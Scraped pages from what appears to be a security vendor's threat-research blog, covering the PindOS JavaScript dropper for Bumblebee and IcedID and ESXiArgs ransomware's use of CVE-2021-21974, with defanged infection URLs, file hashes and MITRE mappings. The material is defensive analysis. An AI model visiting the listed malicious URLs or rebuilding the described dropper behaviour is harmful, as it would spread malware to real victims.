class="bg-grey"><tr><th>SHA256</th><th>Description</th></tr></thead><tbody><tr><td>463183002d558ec6f4f12475cc81ac2cb8da21549959f587e0fb93bd3353e13e</td><td>Archive containing malicious Office file</td></tr><tr><td>edc531d255b9ae8ae6902dc676f24e95a478576cad297e08e2bbc0b8fe03e4ce</td><td>Malicious Office file</td></tr><tr><td>1546bb5bfc25741434148b77fe51fed7618432a232049b3f6f7210e7fb1f3f0e</td><td>MSI file from hxxps://t[.]ly/8CYQW</td></tr><tr><td>387304b50852736281a29d00ed2d8cdb3368d171215f1099b41c404e7e099193</td><td>SangforUD.EXE Rust implant</td></tr><tr><td>0742cd9b92661f23f6b294cc29c814de027b5b64b045e4807fc03123b153bcd5</td><td>Decoy PDF file</td></tr><tr><td>04725fb5a9e878d68e03176364f3b1057a5c54cca06ec988013a508d6bb29b42</td><td>Malicious LNK file</td></tr><tr><td>35f2f7cd7945f43d9692b6ea39d82c4fc9b86709b18164ad295ce66ac20fd8e5</td><td>MSI file from LNK vector</td></tr><tr><td>5327308fee51fc6bb95996c4185c4cfcbac580b747d79363c7cf66505f3ff6db</td><td>WinDefenderHealth.EXE Rust implant</td></tr><tr><td>e508cafa5c45847ecea35539e836dc9370699d21522839342c3f3573bf550555</td><td>Decoy JPEG file</td></tr></tbody></table>

Operation Rusty Flag – A Malicious Campaign Against Azerbaijanian Targets

pindos-js-dropper-blog.jpg

Deep Instinct’s Threat Research Lab recently noticed a new strain of a JavaScript-based dropper that is delivering Bumblebee and IcedID. The dropper contains comments in Russian and employs the unique user-agent string “PindOS”, which may be a <a href="https://en.wikipedia.org/wiki/Anti-American_sentiment_in_Russia#Pindos" target="_blank">reference</a> to current (and past) anti-American sentiment in Russia.Bumblebee is a malware loader first discovered in March 2022. It was associated with <a href="https://info.deepinstinct.com/conti-leaks-cyber-threat-reports" target="_self">Conti group</a> and was being used as a replacement for BazarLoader. It acts as a primary vector for multiple types of other malware, including ransomware.IcedID is a modular banking malware designed to steal financial information. It has been seen in the wild since at least 2017 and has recently been <a href="https://www.bleepingcomputer.com/news/security/new-icedid-variants-shift-from-bank-fraud-to-malware-delivery/" target="_blank">observed</a> shifting some of its focus to malware delivery.<h5>Bumblebee’s Dilemma – PowerShell or JavaScript?</h5><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltac10f75989680347" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltac10f75989680347/6493347d48e15a005746c1ff/fig00-bumble_meme.jpg" style="text-align: center;"/></figure>Bumblebee’s primary modus operandi, including its most recent <a href="https://www.secureworks.com/blog/bumblebee-malware-distributed-via-trojanized-installer-downloads" target="_blank">major campaign</a>, involves a PowerShell-based first stage with very characteristic obfuscation (“elemXXX”). This serves as a wrapper and loading routine for an embedded 64-bit payload .DLL. Our analysis of this flow can be found <a href="/blog/the-dark-side-of-bumblebee-malware-loader" target="_self">here</a>.The possible switch to JavaScript instead of PowerShell marks a significant change in Bumblebee’s well-established TTP’s.<h5>IcedID – From Banker to Loader?</h5>As recent reports indicate, IcedID appears to be partially following in Emotet’s footsteps and may be abandoning its banking and financial functionalities in favor of becoming a more generalized loader-type malware. An association with a new JavaScript type of dropper can be seen as another step in this direction.<h5>PindOS JavaScript Technical Analysis</h5>Once de-obfuscated, the dropper is surprisingly simple. It consists of a single function, “exec,” which gets four parameters:<ul><li>“UserAgent” – The user-agent string to be used when downloading Bumblebee’s .DLL</li><li>“URL1” – First address to download from</li><li>“URL2” – Second address to download from</li><li>“RunDLL” – Payload .DLL exported function to call</li></ul>When executed, the dropper will attempt to download the payload initially from URL1 and execute it by calling on the specified export directly via rundll32.exe. If this fails, the dropper will attempt to download the payload from URL2 and execute it using a combination of PowerShell and rundll32.exe.The downloaded payload is saved to %appdata%/Microsoft/Templates/&lt;6-char-random-number&gt;.dat<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt310d8e627d3469ad" alt="Figure 1 – PindOS' main function" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt310d8e627d3469ad/6493347db9a076b80b92866c/fig01-pindos-main-function.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 1 – PindOS' main function</figcaption></figure>The function is then called twice, with four separate URLs:<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt94b88382eb4426e4" alt="Figure 2 – exec function call from Bumblebee dropper" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt94b88382eb4426e4/6493347dd5b9a5988d6de2e6/fig02-exec-function-call-from-bumblebee-dropper.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 2 – exec function call from Bumblebee dropper</figcaption></figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt2ccea6ece70d6aef" alt="Figure 3 – exec function call from IcedID dropper" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2ccea6ece70d6aef/6493347d1fb2d3643c496f99/fig03-exec-call-from-icedid-dropper.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 3 – exec function call from IcedID dropper</figcaption></figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltf4668bbd24eb05b8" alt="Figure 4 – Payload download" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf4668bbd24eb05b8/6493347df7411b69d437e201/fig04-payload-download.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 4 – Payload download</figcaption></figure>The retrieved payloads are generated pseudo-randomly “on-demand” which results in a new sample hash each time a payload is fetched. This is commonly done to avoid signature-based detection. However, in Bumblebee’s case, this seems somewhat ineffective compared to the previous flow (which did not write the payload directly to disk), as the samples are fairly <a href="https://www.virustotal.com/gui/file/28c87170f2525fdecc4092fb347acd9b8350ed65e0fd584ce9fc001fd237d523/detection/f-28c87170f2525fdecc4092fb347acd9b8350ed65e0fd584ce9fc001fd237d523-1686560298" target="_blank">well detected</a> even on “first-seen”. This is likely due to the generated payload’s exports and several other indicators which remain constant and do not vary across the different generated samples.<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt9a6ab350a777b88a" alt="Figure 5 – A generalized comparison of Bumblebee’s infection flows - “older” on the right; “newer” on the left." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9a6ab350a777b88a/64933d2de66699a1d52eb992/fig05-a-generalized-comparison-of-bumblebees-infection-flows.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 5 – A generalized comparison of Bumblebee’s infection flows - “older” on the right; “newer” on the left.</figcaption></figure>According to Virus Total, on “first-seen” PindOS droppers have mostly received very low detection rates:<img asset_uid="blt5a182e8e00749668" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt5a182e8e00749668/64933d2d1fb2d36df6496fcb/fig06-vt-first-seen-detection-pindos-virus.png"/><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt6e2212907fb50273" alt="Figures 6 & 7 – VT first-seen detection for PindOS droppers" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6e2212907fb50273/64933d2d48a8ff009c477fde/fig07-vt-first-seen-detection-pindos-dropper.png" style="text-align: center;"/><figcaption style="text-align: center;">Figures 6 &amp; 7 – VT first-seen detection for PindOS droppers</figcaption></figure><h5>Bumblebee DLL Payload Analysis Highlights</h5>The DLL payload is slightly different from the one previously encountered. Dynamically, it is very similar, with the addition of a few layers of obfuscation. It’s anti-debugging and anti-VM/sandbox features remain the same but with some additional “legitimate looking” strings taken from the <a href="https://github.com/FFmpeg/FFmpeg/blob/1617d1a752d5e97d5e74f6c384609c027c884553/libavutil/error.c" target="_blank">FFmpeg project open-source</a> project’s “error.c” file and a few other files from the same project added for distraction purposes:<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt64d2e5ce682d4b38" alt="Figure 8 – Strings found in Bumblebee DLL" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt64d2e5ce682d4b38/6493347d9601bc69e508214d/fig08-strings-found-in-bumblebee-dll.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 8 – Strings found in Bumblebee DLL</figcaption></figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltff29e3f9d11aa98a" alt="Figure 9 – FFmpeg project source, “error.c” file." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltff29e3f9d11aa98a/6493347dea50bc3ffabea7f4/fig09-ffmpeg-project-source-error.c-file.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 9 – FFmpeg project source, “error.c” file.</figcaption></figure>Another point of differentiation is that previously Bumblebee DLLs had two main export functions, while the new one has four.<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="blt3c905274f728fa88" alt="Figure 10 – “New” Bumblebee DLL Exports" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3c905274f728fa88/6493347dd2420473b31cd636/fig10-new-bumblebee-dll-exports.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 10 – “New” Bumblebee DLL Exports</figcaption></figure><figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltcb5ad0e83176edf1" alt="Figure 11 – “Old” Bumblebee DLL exports, with main “SetPath” function" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltcb5ad0e83176edf1/6493347d75c2ae82940617e7/fig11-old-bumblebee-dll-exports-with-main-setpath-function.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 11 – “Old” Bumblebee DLL exports, with main “SetPath” function</figcaption></figure>Further examination of the DLL brings us to the same main function as the previous variant.<figure style="margin-top: auto;margin-right: auto;margin-bottom: auto;margin-left: auto;text-align: center;width: auto;"><img asset_uid="bltec80d5d7fc0f0819" alt="Figure 12 – “SetPath” in the “new” Bumblebee DLL." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltec80d5d7fc0f0819/6493347ee6669913502eb96f/fig12-setpath-in-the-new-bumblebee-dll.png" style="text-align: center;"/><figcaption style="text-align: center;">Figure 12 – “SetPath” in the “new” Bumblebee DLL.</figcaption></figure><h5>Conclusion</h5>Bumblebee’s latest “experiment” attempts to leverage pseudo-random sample generation as a means of reducing the risk of detection. This has been used by threat actors in the financial/banking malware landscape for years, including IcedID, which “shares” the PindOS dropper.Whether PindOS is permanently adopted by the actors behind Bumblebee and IcedID remains to be seen. If this “experiment” is successful for each of these "companion” malware operators it may become a permanent tool in their arsenal and gain popularity among other threat actors.As Bumblebee and <a href="https://thedfirreport.com/2023/05/22/icedid-macro-ends-in-nokoyawa-ransomware/" target="_blank">IcedID</a> are known to deliver ransomware, we recommend that security teams take note of these IOCs. You can find updated lists of IOCs on our <a href="https://github.com/deepinstinct/PindOS-JS-Dropper" target="_blank">GitHub page</a>.<h5>IOCs</h5><ul><li>Network Artifact User-Agent: PindOS</li><li>Bumblebee infection URLs hxxps://qaswrahc.com/wp-content/out/mn[.]php hxxp://tusaceitesesenciales.com/mn[.]php hxxp://carwashdenham.com/mn[.]php hxxps://intellectproactive.com/dist/out/mn[.]php</li><li>Bumblebee .JS dropper SHA256 bcd9b7d4ca83e96704e00e378728db06291e8e2b50d68db22efd1f8974d1ca91 07d2cb0dc0cd353fb210b065733743078e79c4a27c42872cd516a6b1fb1f00d1 00ec8f3900336c7aeb31fef4d111ee6e33f12ad451bc5119d3e50ad80b2212b0 15da5b0a65dd8135273124da0c6e52e017e3b54642f87571e82d2314aae97eec 180a935383b39501c7bdf2745b3a334841f01a7df9d063fecca587b5cc3f5e7a</li><li>Bumblebee DLL payload SHA256 24dd5c33b8a5136bdf29d0c07cf56ef0e33a285bb12696a8ff65e4065cb18359 76c9780256e195901e1c09cb8a37fb5967f9f5b36564e380e7cf2558652f875b 28c87170f2525fdecc4092fb347acd9b8350ed65e0fd584ce9fc001fd237d523 ac261ac26221505798c65c61a207f3951cc7dce2e1014409d8a765d85bfd91d4</li><li>IcedID infection URLs hxxps://masar-alulaedu.com/wp-content/woocommerce/out/berr[.]php hxxps://egyfruitcorner.com/wp-content/tareq/out/berr[.]php hxxps://tech21africa.com/wp-content/uploads/out/berr[.]php hxxps://www.posao-austrija.at/images/out/lim[.]php hxxps://logisticavirtual.org/wp-content/out/lim[.]php hxxps://adecoco.us/wp-content/out/lim[.]php hxxps://acsdxb.net/wp-content/out/lim[.]php</li><li>IcedID .JS dropper SHA256 92506fe773db7472e7782dbb5403548323e65a9eb2e4c15f9ac65ee6c4bd908b c84c84387f0b9e7bc575a008f36919448b4e6645e1f5d054e20b59be726ee814 7355656f894ae26215f979b953c8fa237dc39af857a6b27754a93adb1823f3b6 8f40ff286419eb4b0c4d15710dc552afb2c2a227a180f4b4f520d09b05724151</li><li>IcedID DLL payload SHA256 9101975f7aca998da796fc15a63b36ab8aa0fe0aed0b186aaed06a3383d5f226 4f0c9c6fc1287ef16f4683db90dd677054a1f834594494d61d765fa3f2e1352c cb307d7fa6eaac6a975ad64ff966ff6b0b0fdd59109246c2f6f5e8d50a33e93c 361b0157ef63d362fdd4399288f5f6a0e1536633dfb49c808a3590718c4d8f10 e71c9ac9ddd55b485e636840da150db5cd2791d0681123457bd40623acd8311c 8ae3be9f09f5fc64ec898a4d6467b2f6e50eaaa26fc460a4f1a9b9566e97a9a7</li></ul><h5>MITRE ATT&amp;CK</h5><table><thead><tr><th style="width: 13%;">Tactic</th><th>Technique</th><th>Description</th><th>Observable</th></tr></thead><tbody><tr><td>Execution</td><td>Command and Scripting Interpreter: JavaScript – T1059.007</td><td>Adversaries may abuse various implementations of JavaScript for execution.</td><td>.JS Droppers</td></tr><tr><td>Defense Evasion</td><td>System Binary Proxy Execution: Rundll32 – T1218.001</td><td>Adversaries may abuse rundll32.exe to proxy execution of malicious code.</td><td>Rundll32.exe usage</td></tr><tr><td>Defense Evasion</td><td>Obfuscated Files or Information – T1027</td><td>Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.</td><td>Obfuscated JS, “Random” generated payloads</td></tr></tbody></table>

PindOS: New JavaScript Dropper Delivering Bumblebee and IcedID

esxiargs-ransomware-blog.jpg

Targeting VMware ESXi is not new; previous ransomware attacks such as Babuk, AvosLocker, BlackCat, Hive, and others have targeted it as well. The uniqueness of ESXiArgs is that it’s only targeting ESXi and it’s exploiting a two-year-old vulnerability resulting in remote code execution (RCE).Such attacks are often performed as a blitz attack in an effort to infect several victims at once. Otherwise, other potential victims would patch or remediate the initial attack vector before it can widely spread. In just two weeks, this attack has affected a few thousand victims.<h3>Surprise Attack</h3>While everyone was following the hype around ChatGPT and debating a better alternative from Google and Microsoft, ESXiArgs took advantage of the distraction and launched a large-scale ransomware attack.Are we surprised? Nope. This is not the first time, and definitely not last, that threat actors exploited old unpatched vulnerabilities to perform a large-scale attack. A few others?<ul><li>CV-2013-0431 – A vulnerability in JRE exploited by Reveton Ransomware. The CVE is from 2013. It was exploited in 2019-2022.</li><li>CVE-2013-1493 – A flaw in Oracle Java exploited by Exxroute Ransomware.</li><li>CVE-2019-7481 – A vulnerability in SonicWall used by HelloKitty Ransomware.</li></ul>The list is long, so we summarized it using the <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" target="_blank">Known Exploited Vulnerabilities Catalog by CISA</a> by the year the CVE was published and when it was exploited in the wild.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltecfdc965cec8e5e8" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltecfdc965cec8e5e8/63ee61eebb6c4e1c079f6199/fig01-years-between-cve-published-and-found-exploited.png" alt="Figure 1: Known exploited vulnerabilities “age”" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 1: Known exploited vulnerabilities “age”</figcaption></figure>The above chart shouldn’t surprise anyone. Previous research shows that more than 60% of the vulnerabilities found in corporate networks were disclosed on or before 2016. Looking at the graph above, we can see that after the first spike caused by CVE publication is around ~1.5 years; the next period is between two and five years. These are the types of exploits we currently see in the “blitz” attacks by ESXiArgs.Remember <a href="/blog/log4shell-cve-2021-44228-what-you-need-to-know" target="_self">Log4J</a>? It’s still being actively exploited.Because of the complex networks of large enterprises, it generally takes more time to patch vulnerabilities. This also makes the enterprise a perfect victim for cyber threat groups as the following diagram demonstrates.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltc3c0d68a4e8b7e86" alt="Figure 2: Reasons why enterprises are often attacked using old vulnerabilities" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc3c0d68a4e8b7e86/63ee61ee723591743bc4db8f/fig02-CVE_organizationFlow.png" height="auto" /><figcaption style = "text-align: center;" >Figure 2: Reasons why enterprises are often attacked using old vulnerabilities</figcaption></figure>There are still a lot of unpatched vulnerabilities. As an example, we looked at a similar vCenter vulnerability with RCE exploit CVE-2021-21985, which according to Shodan has hundreds of potentially exposed vulnerable servers.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt2f4f79228103b952" alt="Figure 3: Exposed vCenter with potential CVE-2021-21985 (7.0.0, 6.5.0, 6.7.0)" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2f4f79228103b952/641c782b9c37a23c2e2feba2/fig03-vcenter-vuln.png" height="auto" /><figcaption style = "text-align: center;" >Figure 3: Exposed vCenter with potential CVE-2021-21985 (7.0.0, 6.5.0, 6.7.0)</figcaption></figure>If you are using ESXi, the following critical CVEs should be patched to protect your organization.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltbab0ea5ae6e2257d" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltbab0ea5ae6e2257d/63ee61ee78d9365b0e5aba26/fig04-vcenter-CVEs.png" alt="Figure 4: vCenter CVEs from CVEdetails.com" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 4: vCenter CVEs from CVEdetails.com</figcaption></figure><h3>ESXiArgs Initial Vector</h3>The ESXiArgs campaign affected a lot of entities, mainly in France, according to Censys:<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt7a232be6ccb38131" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7a232be6ccb38131/63ee61ee8144df106174be0b/fig05-censysVictims.png" alt="Figure 5: Affected countries by ESXiArgs according to Censys.com" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 5: Affected countries by ESXiArgs according to Censys.com</figcaption></figure>As the initial vector the attackers exploited CVE-2021-21974, several POCs can be found in GitHub.The CVE itself is two years old and is part of this <a href="https://www.vmware.com/security/advisories/VMSA-2021-0002.html" target="_blank">security advisory</a>. It exploits OpenSLP in ESXi with a heap-overflow vulnerability that may result in remote code execution. A few days after disclosure approximately 6,700 potentially vulnerable and exposed to the internet vCenter servers were found via Shodan service.It’s important to note that this CVE, like many others, is relevant only if your ESXi instance is exposed to the internet (which is not best practice) or the attacker is already inside your network.In-depth analysis of the CVE-2021-21974 can be found <a href="https://straightblast.medium.com/my-poc-walkthrough-for-cve-2021-21974-a266bcad14b9" target="_blank">here</a>.<h3>Campaign Impact</h3>Analyzing the impacted machines with the same ransom note shows a similar demand: 2.01 to 2.09 BTC (~ $45k).<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt5b856292e122eafa" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt5b856292e122eafa/63ee61eeebf0774eed52e0bd/fig06-ransomnote.png" alt="Figure 6: Ransom Note of ESXiArgs" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 6: Ransom Note of ESXiArgs</figcaption></figure>Out of all extracted wallets (~2,800) we have found only four (4) that received payments. As an example, a victim from London paid $44,742.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltb5c8bb8d41286aa4" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb5c8bb8d41286aa4/63ee61ee4fafdf1128473a60/fig07-payment.png" alt="Figure 7: Ransom payment" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 7: Ransom payment</figcaption></figure>Following is the message hosted on the infected server:<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltfcd4917c219e0fb0" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltfcd4917c219e0fb0/63ee61eee47ca559926e5229/fig08-demadnpaid.png" alt="Figure 8: Ransom note of the above payment" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 8: Ransom note of the above payment</figcaption></figure>The payment was completed on 02.03.2023, and as of today, the server is still exposed to the internet, and at the moment of writing, appears to be unpatched.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt273ec42d2ad660aa" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt273ec42d2ad660aa/63ee61ee68b812598c76de7a/fig09-exposed-vcenter.png" alt="Figure 9: Infected ESXi server exposed" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 9: Infected ESXi server exposed</figcaption></figure><figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt1fe05bcc8b18b6eb" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1fe05bcc8b18b6eb/63ee61ee2b5f1f5b059f155b/fig10-shodanpaid.png" alt="Figure 10: Affected ESXi server unpatched according to Shodan.io" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 10: Affected ESXi server unpatched according to Shodan.io</figcaption></figure>We will not get into each payment, but there appear to only be a few out of more than 2000 victims.This small number we believe can be attributed to the best practice of ESXi backups that help companies avoid payment. Additionally, CISA published a tool to restore encrypted virtual machines.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt752516c3429ade8d" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt752516c3429ade8d/63ee61f50773755832f8a1e4/fig11-ESXiArgs-Recover-readme.png" alt="Figure 11: Recover script published by CISA" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 11: Recover script published by CISA</figcaption></figure>It is worth mentioning that shortly after the above announcement, ESXiArgs released a newer version of the ESXi ransomware changing the encryption process that makes the above script from CISA useless.<h3>Responsibility of the campaign</h3>It is not yet clear who is behind the attack, but there are a few clues pointing to different threat actors.<ol><li>LockBit – They performed similar attacks, and they announced a new ESXi Ransomware variant in January 2023. On the other hand, none of the victims is reflected in their leak site. It could be some affiliates of LockBit acting on their own.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt664b4e5ad5b51e9b" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt664b4e5ad5b51e9b/63ee61f514a7481116d535cf/fig12-LockbitLeaks.png" alt="Figure 12: LockBit leak site" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 12: LockBit leak site</figcaption></figure> And yes – “Royal Mail Group” leak was published – but that’s another story.</li><li>Babuk – Security researcher Michael Gillespie believes that it appears to be a new strain based on leaked source code from the Babuk ransomware. In the middle of 2022, there was a similar case: CheersCrypt ransomware targeting ESXi that was based on the leaked Babuk source code.</li><li>Nevada – French cloud computing provider OVHCloud backtracked on its initial findings suggesting a link to the Nevada ransomware variant.</li><li>A new threat actor using a combination of previous ESXi ransomware.</li></ol><h3>Attacker Plan</h3><figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltc0fb5962d42f35d5" alt="Figure 13: Attacker Plan" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc0fb5962d42f35d5/641c77f0f25d792241569bf4/fig13-CampaignFlowESXI.png" height="auto" /><figcaption style = "text-align: center;" >Figure 13: Attacker Plan</figcaption></figure><figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltf0eebac84a28d23d" alt="Figure 14: Encrypt.sh script " src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf0eebac84a28d23d/63ee61f53b3df420b76444f6/fig14-encrypt.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 14: Encrypt.sh script</figcaption></figure><h3>Recommendation</h3><ol><li>Patch your ESXi servers or implement the workaround suggested by VMware.</li><li>Do not expose ESXi servers to the internet or whitelist specific IP addresses.</li><li>Implement best–practice vulnerability management – but do not rely only on that. A <a href="/endpoint-security" target="_self">world-class Endpoint Protection Platform (EPP)</a> is still required.</li><li>In case of infection, follow the suggested <a href="https://github.com/CERT-hr/ESXI-Ransomware-Removal-FlowChart/blob/main/ESXiFlowChart3.png" target="_blank">flowchart</a> by CERT-HR:</li></ol><figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltb2aa780769a67581" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb2aa780769a67581/63ee61f59b18a175e2431ea5/fig15-FlowChartCert.png" alt="Figure 15: Flowchart in case of infection by CERT-HR" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 15: Flowchart in case of infection by CERT-HR</figcaption></figure><h3>IOCs</h3><table><tbody><tr><td>73c66de7964b86b9fe32563b7d3195b87896a644c2bcdcaea74b81cb5da2a06b</td><td style="width: 15%;">encrypt.sh</td></tr><tr><td>773d147a031d8ef06ee8ec20b614a4fd9733668efeb2b05aa03e36baaf082878</td><td>vmtools.py</td></tr><tr><td>10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459</td><td>encrypt.sh</td></tr><tr><td>5a9448964178a7ad3e8ac509c06762e418280c864c1d3c2c4230422df2c66722</td><td>encrypt.sh</td></tr><tr><td>11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66</td><td>encrypt</td></tr><tr><td>7f39818a30879b314ffcff70d2e196fabec60ad94551547cf0e19f6bc3055a97</td><td>CVE-2021-21974.py</td></tr><tr><td>773d147a031d8ef06ee8ec20b614a4fd9733668efeb2b05aa03e36baaf082878</td><td>local.sh</td></tr><tr><td>ee1f73140605bc1475792e4b26102caa2b2ef838590f9f73a1e4a39feda72634</td><td>Encrypt00.sh</td></tr><tr><td>e1d2d6cba7dcc0d87884e9cfdf1a5141dd7649cb8958133fb9bd0659b377ed6e</td><td>Encrypt00.sh</td></tr><tr><td>c13a5bfb4bddfb1b7ce2fa3e6ae4745566490b50b58e3ff1e57c1d1c2f696760</td><td>Encrypt1.sh</td></tr><tr><td>11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66</td><td>Encrypt</td></tr><tr><td>7adde6d89b1e6e5eeaf3aa2e802dcb1c81dae0b3b44550a53d48d75e94a744bf</td><td>Hello (Encrypt.sh)</td></tr></tbody></table><h3>MITRE ATT&CK:</h3><table><thead class="bg-grey"><tr><th style="width: 14%;">Tactic</th><th>Technique</th><th>Description</th><th style="width: 13%;">Observable</th></tr></thead><tbody><tr><td>Execution</td><td>T1059.004 Command and Scripting Interpreter: Unix Shell</td><td>Encrypt.sh execution</td><td>encrypt.sh</td></tr><tr><td>Discovery</td><td>T1083 File and Directory Discovery</td><td>Searching for all VM files</td><td>encrypt.sh</td></tr><tr><td>Discovery</td><td>T1057 Process Discovery</td><td>Killing all processes that may cause deny of access to VM files</td><td>encrypt.sh</td></tr><tr><td>Impact</td><td>T1486 Data Encrypted for Impact</td><td>Encrypting VMs</td><td>encrypt</td></tr></tbody></table><h3>References:</h3><a href="https://github.com/n2x4/Feb2023-CVE-2021-21974-OSINT" target="_blank">https://github.com/n2x4/Feb2023-CVE-2021-21974-OSINT</a><a href="https://github.com/Shadow0ps/CVE-2021-21974" target="_blank">https://github.com/Shadow0ps/CVE-2021-21974</a><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" target="_blank">https://www.cisa.gov/known-exploited-vulnerabilities-catalog</a><a href="https://www.vmware.com/security/advisories/VMSA-2021-0002.html" target="_blank">https://www.vmware.com/security/advisories/VMSA-2021-0002.html</a><a href="https://gist.github.com/cablej/b15edac9c45faa258e1b94bc0a454551" target="_blank">https://gist.github.com/cablej/b15edac9c45faa258e1b94bc0a454551</a><a href="https://github.com/cisagov/ESXiArgs-Recover" target="_blank">https://github.com/cisagov/ESXiArgs-Recover</a><a href="https://straightblast.medium.com/my-poc-walkthrough-for-cve-2021-21974-a266bcad14b9" target="_blank">https://straightblast.medium.com/my-poc-walkthrough-for-cve-2021-21974-a266bcad14b9</a><a href="https://www.bleepingcomputer.com/news/security/cheerscrypt-ransomware-linked-to-a-chinese-hacking-group/" target="_blank">https://www.bleepingcomputer.com/news/security/cheerscrypt-ransomware-linked-to-a-chinese-hacking-group/</a><a href="https://github.com/CERT-hr/ESXI-Ransomware-Removal-FlowChart" target="_blank">https://github.com/CERT-hr/ESXI-Ransomware-Removal-FlowChart</a><a href="https://www.cvedetails.com/vulnerability-list/vendor_id-252/product_id-20517/Vmware-Vcenter-Server.html" target="_blank">https://www.cvedetails.com/vulnerability-list/vendor_id-252/product_id-20517/Vmware-Vcenter-Server.html</a><a href="https://www.zdnet.com/article/these-old-security-vulnerabilities-are-creating-new-opportunities-for-hackers/" target="_blank">https://www.zdnet.com/article/these-old-security-vulnerabilities-are-creating-new-opportunities-for-hackers/</a>

No Surprise! ESXiArgs Ransomware Attacks Exploit 2-Year-Old Vulnerability

emotet-blog2.png

